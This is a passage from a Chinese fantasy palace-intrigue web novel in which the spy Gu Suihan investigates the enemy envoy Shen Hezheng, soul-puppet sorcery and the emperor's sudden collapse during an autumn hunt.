但此事有两处不妥。其一,宋安澜为保稳妥,请脉向来有自己的郎中,只有顾岁寒重伤不醒时才请过宫里的医修诊治。宋礼手上只有一个目前能力还有限的玄衣卫,而宋安澜可是有整个落棋阁为之效力,她有孕的消息到底是怎么长了翅膀似的飞到宋礼手上的?
其二,北疆战事刚歇,宋礼到底是为什么如此着急要换掉主帅?宋安澜在镇北军中的威望就这么让他如芒刺背吗?
要知道,虽然宋酿之后盛人对于女官的接受度高了很多,那也是仅限于女官上。宋家这一代只有宋礼一个男丁,宋安澜不可能弃了宋礼另立新帝;而女子为帝是前所未有之事,宋礼到底为什么会这么害怕自己的姐姐?
和宋安澜这几月相处下来,顾岁寒早已摸清此人是个外刚内柔的,对亲近之人尤是。宋礼以腹中胎儿威胁她时,她虽然口口声声“臭小子”,说要堕了胎直接回北疆,实际上却是处处退让以求两全之法。最直接的证明是,争吵发生后不过两天,宋礼说自己要借顾岁寒,宋安澜也就二话不说地把她叫去帮忙了。
连顾岁寒都能看出来的事,她不相信宋礼这个亲弟弟看不出来。那么,宋礼到底为什么会猪油蒙了心似的,非要惹自己姐姐不痛快?
之后,从宋安澜口中听到沈和正出使一事时——等等,为什么这么大的事她会是从宋安澜口中听说的?
一个在这几天被忙昏了头的顾岁寒遗忘的事,逐渐在她脑中浮出水面。
敌国来使不是小事,哪怕沈和正能力再高超,将这件事瞒得再好,北周朝中不可能一点风吹草动都没有。落棋阁在北周朝廷是有安排白棋的,而且不止一个,但那几日一群白棋都跟哑巴了一样,什么消息都没有。
排除掉这群人都变成痴呆的可能,最终的答案只剩一个——出使一事,看起来如此冠冕堂皇,实则是沈和正自己的主意,那小太子知不知道都不好说。只有这样,这件事才能避开落棋阁的耳目,先被宋礼所知,再由宋礼转达给宋安澜,最后被她知道。
沈和正,很有可能在北周有着比一个单纯的归雁台之主更复杂的身份,才能支撑他在几乎不惊动所有人的情况下出使南盛,还提出了堪称丰厚的条件。
可是他又是为什么要讲和?如果他来南盛只是为了讲和,那么他又为什么要在宴席上分个身来逗猫似的逗她?
他到底是怎么同时出现在几个地方的?
顾岁寒深深捂住脸,感觉这些事简直是扑朔迷离。宋安澜看她迟迟不说话,脸色也不好看,也不知如何是好,只好把人又往怀里搂了搂:“梅臣,到底是怎么了?要不要再喝点水,哪里不舒服?”
“我……”顾岁寒长长地出了口气,想说些什么,可最后还是摇了摇头,“……殿下,你先让我静静吧,陛下那边,我自有分说,好吗?”
宋安澜看起来似乎还想再说些什么,姬昀却是品出了气氛不对,朝着她使了个眼色,拉着她的袖子走开了,临走前还贴心地关上了门。
屋子里一下子陷入了寂静之中。夜已经深了,月亮还没完全升起来,窗外一片漆黑。她在床上又坐了片刻,猛得起身,走到窗边拉开窗子。
虽说白天还十分燥热,但毕竟是入了秋,更深露重,她一下子就感觉身上凉了起来。夜风灌了进来,吹熄了屋里唯一的蜡烛。
整座屋子一下子隐没进了夜色中。顾岁寒就站在窗边,向外看去,才发现不知是有心还是无意,分给宋安澜的这座小院和沈和正住的地方极近。从她站的地方看,正好能看见沈和正卧房的窗子。
看上去沈和正似乎也还没睡,一个高大的阴影映在纱帘糊的床上,随着烛火微微跳动。
那身影与顾岁寒记忆中青州小院的人分毫不差地吻合,暴雪中的记忆呼啸而上吞没了她。她头痛欲裂,一时间竟是站不住,顺着墙滑到了地上,废了很大力气才克制住自己没有呻-吟出声。
距她潜入那座无名的小院已经有近一年,连大脑都贴心地帮她清除了痛苦的过去,但身体上的感受依然在,帮她记忆着那段血腥而痛苦的过去。
遗忘的过往并未远去,反而是以另一种形式常伴她身。
她咬着牙等这阵疼痛过去,扶着床边的小几站了起来。似乎是因为宋礼此次来上林苑的决定比较匆忙,宫人也没来得及打扫干净各个角落,这小几的边上积了一层灰,全都沾到了顾岁寒手上。
她盯着自己的掌心。灰黑的印记之下,是纵横交错的好几道旧伤疤,连她自己都说不出那是什么时候、被什么所伤的。
看着这些伤,不知为何,一股热流渐渐在她心底流淌,那种饱胀的、酸涩的感受叫她几乎落下泪来。
的确,她不记得很多事。前路也很渺茫,眼下的问题也有很多。周围的人似乎也不可尽信,人心如深海,其下皆为陷阱。
可她明明有能力。她有刀,有剑,有足以傍身的武艺。
那她为什么不去试试解决呢?
她再次朝外看去。沈和正似乎已经睡了,那窗黑了下去。她看着那间屋子,心里似乎忽然有了无穷的勇气。
她披上了外衣,身形如一只雨燕,轻巧地掠出了窗外。
上林苑的另一侧,谢停舟吹熄了蜡烛,坐到榻上,却并没有
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着急躺下入睡,而是伸出左手,缓缓掐算了起来。
白天他一直未曾离席,却也将席间所有事尽收眼底。他坐的角度不佳,看不见顾岁寒藏匿的那棵树,却也从宋安澜的行为把事情经过猜了个八-九不离十。
不同于顾宋二人同沈和正正面交过手的谨慎,他对沈和正反而有种初生牛犊不怕虎般的无畏。他在青城山间长大成人,曾亲眼见过自己的师父因为一次失算差点走火入魔。自那之后他就明白,人算终有尽时,没有人可以算无遗策,也没有人可以手眼通天。
自几日前,忽然有人通知他沈和正要出使南盛,他心中的疑惑就到了顶端。
他虽然驻军西南,对北疆战况也不是全然不知。有时冬季北疆战场繁忙,还会请他过去参谋一二,那也是一年里他为数不多可以和姬泠常常并肩的时光。
由于姬泠最主要的工作不在军中,也不能为外人道,所以很多镇北军将士对她这个“吃白饭的”是颇有微词的。
将士们是这么说,但姬泠真正的功绩,宋安澜、谢停舟他们却是清清楚楚。尤其是谢停舟,不知道从什么时候起,姬泠会把自己基于落棋阁收集到的一些信息而产生的推测讲给他听,而谢停舟总是乐于充当这个倾听者。
关于沈和正,他们曾经有过很多争论。因为师父的原因,姬泠对沈和正总是比较恐惧,而谢停舟却不这么认为。
他总是说:“倘若沈和正当真那么无所不能,北周不早就称霸天下了?”
姬泠便会无奈道:“古蜀有诸葛孔明,也未见得一统天下啊。有才华的人能否施展,也是要看主君的。”
那时北周的皇帝还是小太子他爹。的确,这位老皇帝堪称刚愎自用,手腕也相当了得。据说他和沈和正曾是师兄弟,但传言不知是真是假。
谢停舟就会反驳她:“别的不说,假如沈和正真如你心目中那样厉害,落棋阁在北疆就不会像现在这样顺遂。”
的确,倘若沈和正当真那样算无遗策,他就应该能料到落棋阁在北边的一些小动作。可事实是,除了过分接近他本人的一些行动,落棋阁在北周跟归雁台打得可谓是有来有回,各有折损,而并非是一边倒的局面。
姬泠似乎并不这么认为,可她一般也不愿意和他多争执,一般话说到这份上就会放弃,两方各自“鸣金收兵”。
时至今日,和他讨论这些的女子早已随风远去,北周的局势和现在也大不相同,但沈和正的地位似乎还是没变。但这个看法被这次突然的出使改变了。
之前沈和正从未替北周抛头露面过,他就如同一个背后的阴影,暗中引导着国家的发展。但这次不同,他第一次站到了明面上,替自己的国家辩论,白天他全程旁听了他在席间的言论,他就好像一个再平凡不过的使臣,提出条例、论述好处,向宋礼证明北周的友好与诚意。
这不合常理。他为什么突然变性了?
他的大拇指在指节间逡巡,但毫无章法。现状脱出了他的掌控,但他没有头绪。
假如阿泠还在就好了。
正想着,门扉忽然被轻轻扣响。门外传来顾岁寒压低的声音:“顾将军,睡了吗?”
18. 清平乐 六
夜里的上林苑安静得落针可闻,因而敲门的声音便格外清晰。
敲门声响之后,门里却并无人应答。敲门的黑衣人也并不着急,伸手拽了拽自己的斗篷,以便更好地隐匿进黑暗中。
良久,门“吱呀”一声,一道低沉的声音从里面传出:“进。”
黑衣人迈步跨入门槛,那木门便在他身后又关上了。随着关门声响起,屋内骤然灯火通明,而顾岁寒以为已经就寝的沈和正衣冠整齐地坐在正中-央的椅子上,意味深长地看着这夜半的不速之客:“如何?鄙人按照您的要求做了,却是一无所获,您又该当如何呢?”
那黑衣人不作声,大半张脸都隐匿在黑暗中。沈和正眯着眼等了他半晌,也不知看出了什么,忽然坐直了身子:“……不,你并非和我联络的人,怎么,你家大人就这么畏畏缩缩,连亲自来见我都不敢吗?”
“还是说,”沈和正看起来似乎是有些恼了,皮笑肉不笑地看着面前的人,“你家大人其实是怕了,胆小到连手下人都不敢和我坦诚相见?”
那黑衣人终于动了。他伸手将兜帽摘了下来,露出了底下那张苍白的面容。假如顾岁寒在就会发下他长得甚是眼熟——此人就是宴席开场前朝她笑的那个陌生人!
但细细看来,此人与白天也不甚相同。白日时,他脸上还有血色,现下却是一片青白,倘若不是还在喘气,简直就是活脱脱一具行尸走肉。他用漆黑的眼睛看着沈和正,缓缓露出一个僵硬的笑来:“沈大人神威远扬,在下只是个手无缚鸡之力的读书人,自然是不敢冒犯的。”
“哦?”沈和正挑眉,“手无缚鸡之力的读书人,却能叫滇国的国主都退避三分,阁下过谦了。”
“哪里哪里。”这黑衣人居然还自谦了起来,“在下只是有些傍身的本事罢了。”
沈和正冷笑:“阁下的本事,在下哪怕远在朝歌也有所听闻,只不过百闻不如一见——我面前这个,该不会就是阁下用自己的本事造的传声筒吧!”
“沈大人不愧是雁主,实在是慧眼如珠啊。”那黑衣人抚掌赞叹,“所以沈大人也不要对着无辜之人发脾气了,大人就算是将这传声筒五马分-尸大卸八块了,在下也不会如何可惜的。”
这两人都是有手腕的,彼此试探了一番,黑衣人背后的主人半分马脚未露,沈和正却是罕见地在气势上落了下风。他哼笑了一声,往椅背上一靠:“有意思。但我看阁下的这位传声筒似乎在朝中也颇有地位啊,倘若我今夜就将他扣押在此处,过几日那小皇帝回宫发现少了人,会不会派落棋阁彻查呢?”
这话恐怕是踩到了黑衣人的痛点。他木然沉默片刻,脸上的表情忽得又鲜活了起来,只不过这回他的笑就勉强了许多:“不如何,大人。前几日-你手下的大雁就被落棋阁抓了一只,实在不行,我也可以忍痛割爱,把此人也打做你归雁台的人送去。”
话虽这么说,沈和正却是心知此人已是暂退一步,便不再进一步威胁,而是重新坐直了身子,一挥手,面前的茶盏就平平稳稳地浮空送至对方手中:“鄙人开玩笑的,阁下培养这么一个听话的傀儡恐怕也不容易,不妨坐下,彼此敞开谈谈,合作才会更顺利愉快,您说呢?”
那黑衣人顿了顿,反应有些迟钝地接过杯子,在一旁坐下:“雁主问的那个问题,我也无法作答。顾岁寒以前不在朝中,我也与她不熟,如何得知?我也给了您消息,您也是见到她了,至于结果如何,我又怎能保证呢?”
沈和正沉声:“不错,阁下是让我见着她了。可阁下可没说,此女武功远在预料之上!”
“这我又如何得知?”黑衣人的声音陡然急促了起来,“要我说,大人才是和顾梅臣熟识的人,她武功是高是低,有几分深浅,阁下关押她一月之久,自己不清楚吗?”
这话倒是叫沈和正沉默了。良久,他不知有了什么盘算,没有继续之前的责问,倒是新开了话头:“阁下叫我做的那些事,出使南盛、求和离间都统统做了,如今是不是到了阁下报答我的时候了?”
这话似乎正是合了黑衣人的意,他微笑开口:“之前承诺给大人的滇北一线自然是会拱手相送的,至于碎曦剑的消息,我也在着人探听。”
“阁下可别告诉我一无所获。”沈和正冷笑,无意识地摩挲着手上的扳指,“在下费心劳力这么久,阁下如今的报答却是让在下有些失望的。”
“大人不要着急。”黑衣人摆手,“落棋阁里的桩子已经告诉我,顾岁寒收到了消息,言说青州中琅有碎曦剑消息,她已经在规划同谢停舟去此地寻剑。”
这会沈和正却没有轻易买帐:“当真?”
“消息是真是假在下可不知道。”黑衣人双手笼进袖子,施施然道,“不过顾岁寒确实要去中琅。大人要是真想一探顾岁寒深浅,去了也不吃亏。”
这话里不知那里触动到了沈和正。他的目光沉默地穿过了窗棂,看向了山坡上那已经黑下来的房间,轻轻挑了一下嘴角:“顾岁寒此人,有意思,我倒很欣赏,只可惜立场不同。”
黑衣人闻言也感兴趣了起来:“怎么个有意思法?我以为大人的心腹大患一直是姬檐雨呢。”
“姬檐雨……确实曾是,只可惜她生前我未曾一见。”沈和正不置可否,“宋钟此人,有眼无珠……”
“阿嚏!”
另一侧的山麓,顾岁寒打了个喷嚏。谢停舟担忧地看了她一眼:“夜深露重,执棋要不要多穿些?在下这里有大氅。”
顾岁寒摆手:“不打紧。你继续说,陈筑怎么了?”
“执棋前几日为了护卫陛下在上林苑忙碌的时候,我和蒋姑娘也在查陈筑无因而死的事。”谢停舟沉声,“执棋应当知道,人死后七日之内,魂魄应当不会走远。但我在陈筑尸身边招魂多次,却一无所获?”
顾岁寒质疑:“可是你之前招姬泠的魂魄也无果,这次会不会是一样的原因?”
“不,”谢停舟笃定道,“那时我山高路远,且青州新死鬼多,所以才招不到魂。但此次不同,临安安定日久,死魂稀少,而我就在陈筑尸体身边,不可能招不到。”
“那是如何?”顾岁寒彻底摸不着头脑了,“难道这人没魂魄不成?”
“正是如此,”谢停舟执壶给顾岁寒的茶杯满上,“执棋且听我细细讲来。”
“发现招不了魂时,我想起来了滇国的一种秘术,这种秘术可以将人新死之后的魂魄抽取出来,单独封印以保证此人魂魄不散。
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因着魂魄尚在,此人的身体不会腐朽,倘若辅以其他手段,这人的身体就会听从指令行动,一直流传与西南的‘赶尸’传闻便是来源于此。陈筑‘死’前诸多异样举止或许便能理解了。”
谢停舟说到这里,略略停顿,喝了口水继续说:“但蒋姑娘同在下说,她与大人去捉拿陈筑时,陈筑绝对还是活人。这便是在下的不解之处了,但在下想,如果将此秘术略略改进,是不是就可以在人尚活着的时候将魂魄抽出,控制此人,有如那戏台上的傀儡呢?如此一来,陈筑竟能将自己活活折颈而死便可以解释了!”
说到最后,谢停舟神色炽热,竟是有些手舞足蹈了起来,只不过刚一动,他刻在骨子里的教养似乎又制止了他,最终只是将手指在桌沿上磕了两下。
顾岁寒看着他发亮的双眼,却是并不这么想:“你也说是要将此秘术略略改进,可这‘改进’到底是如何改?倘若真是一蹴而就的事,滇国不该早就傀儡横行了吗?”
这话说到了痛点,谢停舟也有些垂头丧气了:“此事在下学艺不精,亦有疑问。在下已然去信给家师,或许家师会有头绪也说不定。”
顾岁寒在心里默默算了算临安到青城山信件往来的速度,想来收到回信也还要些时日。她捋了捋心中疑问,另起话头问:“此事先按下不提,等无有真人回信再说。谢将军,你是否知道有什么手段,叫人可以一分为三,且每个分身都各有神智,可以分开行动的?”
这个疑惑自打她遇见两个“沈和正”时就已然有了。坦诚讲,她虽然不觉得自己武功如何高超,但至少不会在沈和正面前毫无反抗之力,白日里沈和正能占那么大上风纯属他出其不意,外加以二夹一才赢了先手。
谢停舟被问到这,神色明显一动:“怎么?”
顾岁寒就把白日里的事和他一五一十地讲了。谢停舟听完后沉吟片刻:“此术我也未曾亲眼见过,但在在下曾听家师说过。”
“前朝还未南退时,有一国师毕生都在钻研魂修之术。一次误打误撞,他的魂魄不小心一分为二,而分出去的那一片魂魄却落地成人,同国师音容如一,旁人和那片魂魄对话,完全分不出两者真假。”
“国师大喜,以为自己窥破了天道造人之机,可还没等他想办法复现,那片魂魄的‘存在’就逐渐淡薄了起来,它固然还在,但几乎无人再能注意到它。月余,它就自行消失了,那片魂魄也没能回到国师身上,国师就此成了残魂之人。”
顾岁寒质疑:“但这与白日里我见到的‘沈和正’似乎全然不同,他足足分出了三个,而且最后似乎又合三为一了。”
谢停舟摇头:“这在下就不清楚了。而且国师一事,全属传闻,只知他确乎是魂术大家,我和阿泠交换部分魂魄的术法就传自他。”
他每每提及“阿泠”二字,咬字都极为珍重。这不是顾岁寒第一次注意到,但谢停舟却是第一次在聊旁的正事时提及姬泠。
他对姬泠用情真是至深了,可惜,天道不公,有情-人总是不能善终。顾岁寒想着,摇了摇头:“沈和正这事,我还是觉得有疑……”
话没说完,谢停舟的门第二次被敲响。这次是宋安澜:“梅臣,你在吗?出事了,陛下昏倒了!”
19. 菩萨蛮 一
听到消息,谢停舟直接就站起来了。顾岁寒却是坐在原地没怎么动:“可是,陛下昏倒了,我们两个也帮不上什么忙啊。”
宋安澜缓了口气,解释道:“不是这么简单,来找停舟之前,已经有医修诊治过了,但他也看不出什么来,只说恐怕是魂魄有损。”
顾岁寒和谢停舟对视了一眼。谢停舟想到了什么她不清楚,但她却是陡生疑惑——他们刚刚还在聊陈筑可能是被抽走了魂魄,现在宋礼也魂魄有损。这短短几日内,宫里的魂魄像是被什么人盯上了一般,屡屡出问题。
谢停舟的目光和顾岁寒接触了一瞬后便匆匆挪开,对着宋安澜说道:“我跟你去看看陛下。执棋,你是先在我房中待着还是?”
顾岁寒本来想跟过去,临了又换了想法:“……不,我先回我自己房中了。安澜,有什么事你回来再通知我。”
话一出口她就意识到了不对,她叫“安澜”似乎太过亲昵了。宋安澜闻言也愣了一下,不过很快就回过神来:“好,那你先回去。有事我给你传信。”
顾岁寒点点头,那两人就急匆匆地御剑走了。顾岁寒踱步出谢停舟的房门,看着半空中两人的背影,发现谢停舟的剑还挺特别,在夜空中似乎还有着微微的光亮,像是夏季海浪里的萤火。
想到这里她又是微微一怔。她印象中自己并没有去过海边,但这个比喻就这样福至心灵地出现在了心中。
“真奇怪。”她仰头看着像两道流星似的人影,喃喃道。随后她甩了甩头,徒步向另一个方向走去。
醒来之后她一直想练御剑术,但不知是哪里出了问题,一直不得要领,哪怕成功了也是有些歪歪扭扭,为了安全,她决定还是用脚。
上林苑在的这座山头其实只是临安郊外的一座小野山,并不如原本朝歌郊外的那座那般奇峻。谢停舟分到的这座小院说是在和宋安澜分到的那座在山两侧,但顾岁寒毕竟习武,脚程也快,不出一柱香就到了。
进院门前,她习惯性地回头看了一眼夜色中北周使臣住的院子,它和顾岁寒走前一样,黑漆漆、静悄悄地蛰伏在夜色中。但不知为何,顾岁寒就是觉得哪里有些奇怪,思量再三,她屏住气息,悄悄地靠近了那座院子的后墙。
因着是南迁后才建的行宫,这里的院墙普遍都不高,但也比顾岁寒这中等身材的高出一个头不止。她沿着墙根转了转,感觉就这样也看不出什么,于是一咬牙,干脆一不做二不休,提气上了院墙顶。
这个院子里不止住了沈和正一人,但假如她关于沈和正是自己计划的出使这一猜测正确,这一整个院子里恐怕都是归雁台一系的人,因而她也不敢掉以轻心,整个人像一只黑猫一样静静伏在院墙上,屏息凝神,目光扫视过院子,试图找出自己那点不安感的来源。
但粗看之下,这里似乎没有任何异样。几个屋子都黑黢黢的,门窗都关得严严实实的,一个耳房里还有人睡熟时的呼噜声。
顾岁寒来回看了两遍,实在看不出什么端倪,只好安慰自己是想多了,正准备下墙时,一阵风自背后吹来,顾岁寒微微一顿,意识到了之前哪里不对。
这几日天气燥热无风,夜晚山间固然凉了下来,但是白日里的热气还存在山谷间,所以谷地比山顶要热一些。热气性浮躁,会慢慢升至半空,冷气便会顺着山坡流下,填补热气留下来的空缺【注】,所以晚间,山中的风应该是自山顶吹往山脚的。
但是刚刚她在宋安澜院子门口回头时,风是从高度稍低的使臣院吹往她这里的,而且风力还十分强劲。顾岁寒细细回忆了一番,觉得风里应该还还夹杂着一点类似香灰的气息,可附近却没有佛堂。
刚刚她因为嗅觉迟缓,没有第一时间反应过来,但潜意识却告诉了她此事的不对劲。她缓缓皱起了眉,想要一探究竟,却因为此地是沈和正的地盘,不免犹豫了起来。
正当她进退两难时,忽然有个玄衣卫模样的人敲响了院门。顾岁寒陡然一惊,连忙在有人注意到她之前顺着墙悄无声息地滑了下去,只将耳朵贴在墙上听院子里的动静。
听那玄衣卫的意思,似乎是宋礼那边查出了什么,叫沈和正一行人去协助。沈和正犹豫了一下,叫了几个手下随行,只留了一人在院中守卫。
刚想进院查探,镇山虎就走了,可谓是瞌睡来了递枕头。等人都走远了,顾岁寒连忙翻进了院墙,在墙根处蹲下。那留下来的使团成员住在院子的东北角,人都走了之后就回屋睡下了,顾岁寒于是从西南侧绕过主屋,悄悄将主屋门打开,侧身飞速溜了进去。
她入夜之后眼神就不好,屋里又没什么月光,可谓是两眼一抹黑。为防不小心踢到什么引发动静招来那个还在院子里的使臣,她从袖子里掏出一个鸽蛋大小的夜明珠,光芒正好照亮面前的方寸之地,又不至于引发屋外人的注意。
刚刚一进主屋她就意识到了此地的燃香气格外浓郁,心中对于此地的怀疑更加清晰。她轻轻抬步,想要顺着香灰味的方向看看源头为何,但还没迈出半步,脚上忽然感到一种轻微的阻力。多年训练带给她的直觉让她瞬间停住了步伐,保持着脚上不动,身子弯下去细看。
不出所料,她脚前有一处悬空的丝线。顺着线延伸的方向看去,还有几条交错的丝线悬在半空,线上的小铜铃随着刚刚她那点动作的触动微微晃动。只要刚刚她的动作再大一点,或者没有及时收住,铜铃就会在寂静的夜里乍然奏响,向所有人宣告她这不速之客的到来。
顾岁寒不由得失笑。也是,当年在青州,沈和正那暂时驻扎的小院的地面上都画满了阵法,外人一踏上就会向自己的主人示警。相比之下,这小小的铜铃阵简直是小巫见大巫了。她身体柔软,几个拧转就从线的缝隙间钻了过去,平安落在了另一侧的地上。
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她正打算继续往前走,忽然又意识到了哪里不对,重新转身向那几处丝线看去。这一看之下,顾岁寒发现了这阵的破绽。
刚刚她未曾触发铃阵,或许并不是因为运气好。这处阵法似乎已经被人触动过或是拆解过了,刚进门的第一条线没有跟其余的线绑好,显得有些仓促。只要进门的人不是什么莽撞之人,一脚踢到好几根线,那么这铃阵应当都是不会发出示警的。
那么,真正的情况到底是前者还是后者呢?
她微微顿了顿,继续向屋里走去。发生过的事可以再推理,但沈和正随时都可能回来,她不想被这人抓个正着,还是先把该查的都查了才是要紧事。
顾岁寒小心翼翼地往里走,越走越觉得奇怪。这屋里似乎曾有过来客,而且主客相处并不尽欢——地上两个被打碎的茶杯就是证明。沈和正这样的武功高手不可能喝个茶还把茶杯打翻了,而且这两个茶杯被摔碎的地方相差甚远,一个离中厅主位更近,一个则是在侧边的客位旁。
她小心地避开锋利的侧缘,捏起了客位旁最大的那片茶杯碎片,放到鼻子边闻了闻,只能闻出这恐怕是个不怎么讲究的男人用过的杯子,杯沿有很明显的口臭味;除此之外,他今天应该还吃过烤羊肉一类的食物,能闻出来一些烤肉香料的味道。
想到这里,顾岁寒心念电转,今天见过的一幕幕在她眼前迅速闪过——她猛然想起,今天白日的赐宴上,为了全往年上林宴的习俗,皇帝应该是有给一些近臣赐烤羊腿肉的!
也就是说,沈和正这位夜半的不速之客很有可能位列其中!
这收获不可谓不大。她将碎片轻轻放回原位,准备明日等宋安澜回来,问问她白天到底有谁吃过那烤肉。
屋里的香灰味越来越浓,她恍惚以为自己身处青灯古佛前,被这味熏得甚至有些睁不开眼。她站起身,顺着香味走进了沈和正的卧房,香味正是从床边地上传来的。顾岁寒眯眼看去,那地上放着一个香盆,几炷香插在里面,有一部分已经烧得见了底,在黑暗中闪着微弱的火光。
但这不是最让她在意的地方。那香插的姿态很像是在祭拜什么人,而顺着这方向看去,被祭拜的床上帘子放了下来,里面隐隐约约有个黑魁魁的影子,盘腿坐在里面。
顾岁寒定了定心神,绕过了地上的香灰,缓步走近那床榻,伸手将帘子挑开。顺着夜明珠的光看清那张脸的瞬间,她手一抖,夜明珠差点没拿稳掉到地上——那不是什么佛像,而是一个披着黑衣的人。
她认出了那张脸的主人正是白天那个冲她冷笑的男人。可诡异的是,从挑开的帘子缝隙看过去,此人犹如一尊真正的佛像,双手合十放在胸-前,垂目微笑着,慈悲地看向帘外的人。
在那与白日里迥异的目光下,顾岁寒一阵恶寒,背后的汗毛根根竖起。倘若她是只猫,她毫不怀疑自己现在已经炸成了一只刺猬。
20. 菩萨蛮 二
说实在话,虽然顾岁寒修道,但她并不太信神佛。那些落不到实处的信仰是不坚定的人才会寻找的精神依靠,而她更倾向于信自己。
毕竟在沈和正的刑房里被折磨时,也没见哪路神仙看在她为国尽忠效力的份上拉一把她。带着她从茫茫雪原里爬出来的是她自己的双手。
但不得不说,哪怕不信,面前这尊人-肉佛像也是很有视觉和精神上的冲击力的。
顾岁寒被那床上的人盯得浑身发毛,心里又惦念着沈和正可能随时返回的事,强忍着不适在屋里又转了两圈,没发现别的可疑之事,才离开了沈和正的房间。这次为防铃阵,她没从门走,而是翻了后窗,做贼一样地飞速跑了。
回到房中之后,她躺在床上,可沈和正床上那张人脸还是在脑中挥之不去。她辗转反侧也没什么睡意,心里愈发烦躁,干脆坐起身,找来了纸笔,开始画那张记忆中的脸。
她还没从宋安澜的院子里出去之前,沈和正是绝对没会见过外人的。也就是说,倘若他不是在短短一段时间里见了好几个人的话,那床上之人应该就是摔杯之人。
想到这里她微微一愣,笔也随之顿住,在洒金的纸面上滴下一个浓墨重彩的点。
刚刚见到那人带给她的冲击力实在是太大了,以至于她忘记确认一个很重要的点了——那人是活的吗?
一般情况下讲,一个人摆成那样的姿势,露出那样的表情,理论上应该是死了的。刚刚屋里那么安静,顾岁寒也没听到这人的心跳声。
可是,一个白天还在活蹦乱跳,半夜三更还在和沈和正摔杯子的人,为什么突然就死了呢?沈和正有什么杀他的理由,又是为什么把人在死后摆成那么一个猎奇的姿势?
顾岁寒现下十分后悔没有摸-摸这人的体温,看看他到底没气了多久。现下天边已经泛起了鱼肚白,远一点的几个院子里已经有了人声,想要再回去查探已经不现实了。
她定下心来,把那幅人像画完,回头带给宋安澜辨认一下,看看此人究竟是谁。画完那幅坐佛图,她想了想,又凭着昨天白天的记忆,把她远远看到的那个挑衅的笑容画了下来。
但出乎顾岁寒意料的是,她一直担心的自己被沈和正撞破的事情其实并不可能发生。画完画后她一直竖着耳朵听前面院子的动静,但直到日上中天,都没有人返回院子。
按照秋猎原本的计划,今天上午皇帝应当会带着群臣到马场跑一圈,练练靶,下午还会有马球。但看样子皇帝应该一直没醒,也没有小太监来通知到底是什么事。
群臣都在自己院里惶惶不安地暂待着,有人派家仆来敲过宋安澜的院门,似乎是想打探消息。顾岁寒不好露面,只好装作家中无人,没有应门。那人敲了几轮之后,似乎就放弃了,没再来过。
整座上林苑陷入了一种茫然又惶惑的气氛之中。
到辰时中时,顾岁寒有些坐不住了。她换了身侍从的衣服,从床底下拽出自己出任务的箱子,打开来找了一张合适的新人皮面具准备换上。
换面具前,她把旧的揭下来,两面刷上面粉,妥善放回箱中。带新面具前,她余光瞥见镜子中的自己,不由得双手微微一顿。
之前她听蒋奚说过,她和姬泠是表姐妹,长相其实十分相似,但姬泠长得更温婉,她长得更英气。但由于两个人都是要带着面具在外面活动的身份,很少人会注意到她们俩的相似和不同。
可她现在已经不记得姬泠长什么样子了。那一场牢狱之灾好像刀笔吏手中改史用的小刀,将她脑海中有关姬泠的部分删的干干净净。
她看着镜子,极力想象那个与自己血脉相连的人的长相,却是失败了。刑讯带来的伤口已经彻底改变了她的面容,哪怕被宋安澜救回来之后她已经极力补救,但一些本来就已经化脓发炎的伤口已经无力回天。
她脸上仍然有一些细碎的旧伤痕迹,最深的一道伤口从她的右耳连接到嘴角。宋安澜说那里曾经是一道豁开的伤口,从外面可以直接看到她的牙齿。
那恐怕是她被审讯时最开始的几道伤口之一,因为她被送回临安时,那道伤的颜色已经很旧了,医修用自己的真元尽力补治,也只是将它尽量恢复到了不影响她正常生活的地步。
宋安澜后来跟她坦诚说,她曾经一度很担心顾岁寒醒来之后会因为这些伤口不开心,但顾岁寒却不以为然。几乎没有出师的棋子身上没有伤疤,武人没有伤好比文人没被弹劾过,几乎都是他们不尽责、无能力的证明。
她把新面具带好,对着镜子让面具四角都服帖,没有明显的痕迹,便站起身理了理衣服准备出门。走到门口时,她习惯性地回头看了一眼屋内,目光落在了书桌上完成的两幅画作上。她略略思索,走回桌边把画好的两幅像抖了抖,确定都晾干了,然后随手叠起来放进了袖筒里,准备等遇见宋安澜时给她看看,指不定能带来什么线索。
顾岁寒凭着自己在上林苑巡查多日的记忆走到了皇帝寝宫附近。这座最大的宫殿挂着“躬行殿”的牌匾,最开始的意思是叫住在此地的人学而躬行,谦卑为怀。
住在这的皇帝躬不躬行她不知道,但来来往往的人都躬着身子,大气不敢出,怎么不能算是“躬行”的一种呢?
顾岁寒远远看着这景象,觉得颇有意思,轻轻笑了一声,然后她想起来自己要扮演的是个小侍从,于是也融入人群,低着身子快步走到门边,掏出镇北侯府的令牌,刚想好声好气求个恩典让她进门,谁知那两人一看令牌,立刻把她放了过去,甚至都没确认一眼她的脸。
顾岁寒顺利进了门。走在石子道上,她想着刚刚两人的态度,猜测目前殿里恐怕是宋安澜在管事。果然,刚走到主殿附近,镇北侯那颇有辨识度的大嗓门就传了出来:“我管他身体不好呢,又不是死了!就算是死了也把尸体给我抬到这来!”
主殿门大开着,各色人等在宋安澜指挥下进进出出,好不忙碌。顾岁寒猜她应该在忙,就没有贸然进去打扰,而是顺着门边溜了进去,找了个不起眼的地方站好。果不其然,宋安澜就站在正中,侧头过去跟个医修模样的人不知在商量什么。姬昀就站在她斜后方,暗中守卫着她。
顾岁寒环视了一圈殿内,发现居然还有不少熟面孔。昨天在宴席上席位靠前的人几乎都在,谢停舟也位列其中。他无所事事地坐在离她站的位置挺近的一个圈椅中,抱着阵盘不知在思索什么。顾岁寒从后面靠近他,轻轻拍了拍他肩膀。
谢停舟顺着力道转过身来,不知为何,视线刚刚相交时,顾岁寒在他眼中看到了一瞬间的怔松。不过很快他就回过神来,而且很明显没有认出她的新伪装,很是有礼地问:“请问阁下有何要事?”
“是我,顾岁寒。”谢停舟很明显被她的易容术惊讶到了,眉毛微微挑起。顾岁寒趁周围人都没怎么注意到这个小角落的悄悄话,低声问:“现在是怎么回事?殿下不是叫你来看宋……陛下的吗,怎么如今你倒是闲下来了?”
顾岁寒温热的气息喷吐在谢停舟耳畔。饶是他知道她没有旖旎的意思,出于礼貌还是微微将身体后仰,拉开了一个安全的距离才开口:“此事复杂,执棋,我们移步安静的地方细谈。”
两个人一前一后进了侧殿,掩上了门扉。关门前,顾岁寒注意到宋安澜往这个方向瞥了一眼,顾岁寒冲她眨了眨眼,也不知道对方看出来是自己没有,反正她只是看了一眼,很快就收回了目光。
此处偏殿比较狭小,看起来似乎只是用来手谈的地方,窄榻上放着棋盘和两盅棋子。谢停舟先进来了,顺手就坐到了棋盘一侧,伸手相邀:“执棋能执天下黑白棋,不知能否执方寸之间的黑白棋呢?”
